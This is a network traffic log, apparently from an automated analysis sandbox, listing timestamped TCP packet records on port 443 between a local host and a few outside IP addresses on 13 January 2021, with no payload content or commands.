Jan 13, 2021 13:45:17.629576921 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.629615068 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.629652977 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.629663944 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.629688978 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.629724979 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.629736900 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.629761934 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.629800081 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.629813910 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.629847050 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.629899025 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.630496979 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.630549908 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.630585909 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.630603075 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.630631924 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.630672932 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.630707979 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.630721092 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.630744934 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.630781889 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.630832911 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.631283045 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.631320953 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.631357908 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.631371021 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.631391048 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.631448030 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.925919056 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:45:22.115190983 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:24.162349939 CET	49208	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:24.213639021 CET	443	49208	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:24.213804960 CET	49208	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:24.219275951 CET	49208	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:24.267349005 CET	443	49208	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:24.267456055 CET	443	49208	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:24.267498016 CET	443	49208	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:24.267534018 CET	443	49208	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:24.267565012 CET	443	49208	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:24.267646074 CET	49208	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:24.267694950 CET	49208	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:24.280797005 CET	49208	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:24.329030991 CET	443	49208	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:24.329181910 CET	49208	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:24.354551077 CET	49208	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:24.407567978 CET	443	49208	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:25.081950903 CET	443	49208	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:25.082102060 CET	49208	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:26.054039001 CET	49208	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:26.626643896 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:26.672574997 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:26.672781944 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:26.676846027 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:26.722764015 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:26.734324932 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:26.734380960 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:26.734461069 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:26.746738911 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:26.792821884 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:26.792841911 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:26.821621895 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:26.867785931 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.425936937 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.425966978 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.425988913 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.426004887 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.426022053 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.426024914 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.426047087 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.426048994 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.426068068 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.426105976 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.426409960 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.426428080 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.426471949 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.426956892 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.426980972 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.427021980 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.428096056 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.428128958 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.428225994 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.429105043 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.429133892 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.429233074 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.430227995 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.430258989 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.430326939 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.431272984 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.431304932 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.431368113 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.432419062 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.432456017 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.432502985 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.433435917 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.433466911 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.433685064 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.434510946 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.434542894 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.434655905 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.435614109 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.435647011 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.435744047 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.436666012 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.436697006 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.436811924 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.522823095 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.522866964 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.522905111 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.522932053 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.522964001 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.523019075 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.523508072 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.523535013 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.523566961 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.524009943 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.524048090 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.524066925 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.525110006 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.525150061 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.525166988 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.526182890 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.526246071 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.526261091 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.527307034 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.527349949 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.527365923 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.528362036 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.528403997 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.528431892 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.529473066 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.529514074 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.529556036 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.530520916 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.530560970 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.530591011 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.531610012 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.531651020 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.531683922 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.532674074 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.532716036 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.532767057 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.533862114 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.533905029 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.533931971 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.534821033 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.534868956 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.534887075 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.535906076 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.535948992 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.535974979 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.537060976 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.537100077 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.537128925 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.538048983 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.538090944 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.538115978 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.539123058 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.539171934 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.539189100 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.540271997 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.540312052 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.540339947 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.541347980 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.541413069 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.541423082 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.542411089 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.542454004 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.542485952 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.543497086 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.543529034 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.543586969 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.624248981 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.624294996 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.624349117 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.624644995 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.624675035 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.624718904 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.625297070 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.625344992 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.625370979 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.626451015 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.626498938 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.626564026 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.627546072 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.627583981 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.627652884 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.628612995 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.628652096 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.628793955 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.629606962 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.629657030 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.629715919 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.630713940 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.630755901 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.630809069 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.632189989 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.632231951 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.632369995 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.632817030 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.632857084 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.632911921 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.633971930 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.634015083 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.634071112 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.635015965 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.635054111 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.635107040 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.636068106 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.636107922 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.636178970 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.637500048 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.637548923 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.637603045 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.638298988 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.638336897 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.638395071 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.639348030 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.639389038 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.639478922 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.640376091 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.640418053 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.640476942 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.641501904 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.641542912 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.641607046 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.642554045 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.642594099 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.642658949 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.643668890 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.643718004 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.643856049 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.645636082 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.645677090 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.645734072 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.645767927 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.645837069 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.645893097 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.646910906 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.646950960 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.647100925 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.647907972 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.647957087 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.648014069 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.670299053 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.670377016 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.670461893 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.670697927 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.670739889 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.670892954 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.672358990 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.672400951 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.672477961 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.672817945 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.672858953 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.672919989 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.673933983 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.673970938 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.674026966 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.674983978 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.675024986 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.675075054 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.676131964 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.676172018 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.676244020 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.677156925 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.677205086 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.677350044 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.678257942 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.678307056 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.678361893 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.680789948 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.680836916 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.680875063 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.680912971 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.680927992 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.681530952 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.681579113 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.681585073 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.682638884 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.682674885 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.682691097 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.683713913 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.683753014 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.683798075 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.684724092 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.684763908 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.684782028 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.685789108 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.685837984 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.685847044 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.686876059 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.686916113 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.686930895 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.687993050 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.688034058 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.688050032 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.689039946 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.689078093 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.689143896 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.690088987 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.690126896 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.690185070 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.691215992 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.691255093 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.691314936 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.692300081 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.692341089 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.692404985 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.693433046 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.693470001 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.693536043 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.719464064 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.719517946 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.719706059 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.719741106 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.719794989 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.720124006 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.720174074 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.720237970 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.720736980 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.720779896 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.721400976 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.721458912 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.721473932 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.722050905 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.722091913 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.722158909 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.722687006 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.722728968 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.722795010 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.723367929 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.723407984 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.723472118 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.724108934 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.724152088 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.724359989 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.724683046 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.724720001 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.724786043 CET	49210	443	192.168.2.22	104.18.49.20
